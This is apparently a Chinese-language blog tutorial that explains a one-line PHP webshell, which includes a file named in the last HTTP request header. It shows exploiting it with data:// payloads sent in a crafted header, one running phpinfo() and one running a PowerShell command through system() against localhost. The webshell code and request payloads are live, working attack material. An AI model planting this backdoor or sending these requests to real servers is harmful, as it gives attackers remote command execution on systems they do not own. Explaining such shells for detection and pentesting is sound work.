网站首页 > 知识剖析 正文
前不久,在网上看到过一个变形的PHP的webshell,非常有意思,利用的是伪协议来执行代码或命令。
这个PHP的webshell是如何写的呢?代码如下:
<?php
require_once(end(apache_request_headers()));
我来解释一下这段代码的几个函数:
1. apache_request_headers()
作用:获取当前 HTTP 请求的所有请求头(headers),返回一个关联数组,例如:
<PHP>
[
"Host" => "example.com",
"User-Agent" => "Mozilla/5.0",
"Accept" => "text/html",
"X-Malicious-Header" => "evil.php" // 攻击者可控的 header
]
2. end()
作用:返回数组的最后一个元素的值。例如:
<PHP>
$headers = ["Host" => "example.com", "X-Header" => "hack.php"];
echo end($headers); // 输出 "hack.php"
3. require_once()
作用:加载并执行指定的 PHP 文件。如果文件路径可控,攻击者可以包含任意文件(包括远程文件)。
如果实现攻击呢?我们只要在发送包里发送恶意代码就可以了,前提是php.ini里的allow_url_include要打开。
我们发送如下代码就可以了,111.php就是有以上代码的文件了。我们本机用Yakit测试一下:
GET /111.php HTTP/1.1
rce: data://text/plain,<?php phpinfo();?>
Host: 127.0.0.1
执行命令发送如下包就可以了:
GET /111.php HTTP/1.1
rce:data://text/plain,<?php system("powershell -c \"Get-LocalUser\"");?>
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0
如果你网站服务器看到有这样一段代码,就立马删掉吧。如果你是渗透测试人员,如何想更好利用,多学点PHP代码就可以了。
- 上一篇: 安全漏洞之经典上传漏洞
- 下一篇: PHP XXE 注入漏洞允许攻击者访问配置文件和私钥
猜你喜欢
- 2025-04-29 php开发者composer使用看这一篇就够了
- 2025-04-29 引用和变量声明在不同语言中的实作
- 2025-04-29 PHP 没你想的那么差
- 2025-04-29 Ubuntu linux 上的 Nginx 和 Php 安装
- 2025-04-29 CentOS下通过yum搭建lnmp(单版本PHP)
- 2025-04-29 为什么 PHP8 是个高性能版本
- 2025-04-29 PHP8函数包含文件-PHP8知识详解
- 2025-04-29 使用无参数函数进行命令执行
- 2025-04-29 PHP内存池分析
- 2025-04-29 PHP XXE 注入漏洞允许攻击者访问配置文件和私钥
- 最近发表
- 标签列表
-
- xml (46)
- css animation (57)
- array_slice (60)
- htmlspecialchars (54)
- position: absolute (54)
- datediff函数 (47)
- array_pop (49)
- jsmap (52)
- toggleclass (43)
- console.time (63)
- .sql (41)
- ahref (40)
- js json.parse (59)
- html复选框 (60)
- css 透明 (44)
- css 颜色 (47)
- php replace (41)
- css nth-child (48)
- min-height (40)
- xml schema (44)
- css 最后一个元素 (46)
- location.origin (44)
- table border (49)
- html tr (40)
- video controls (49)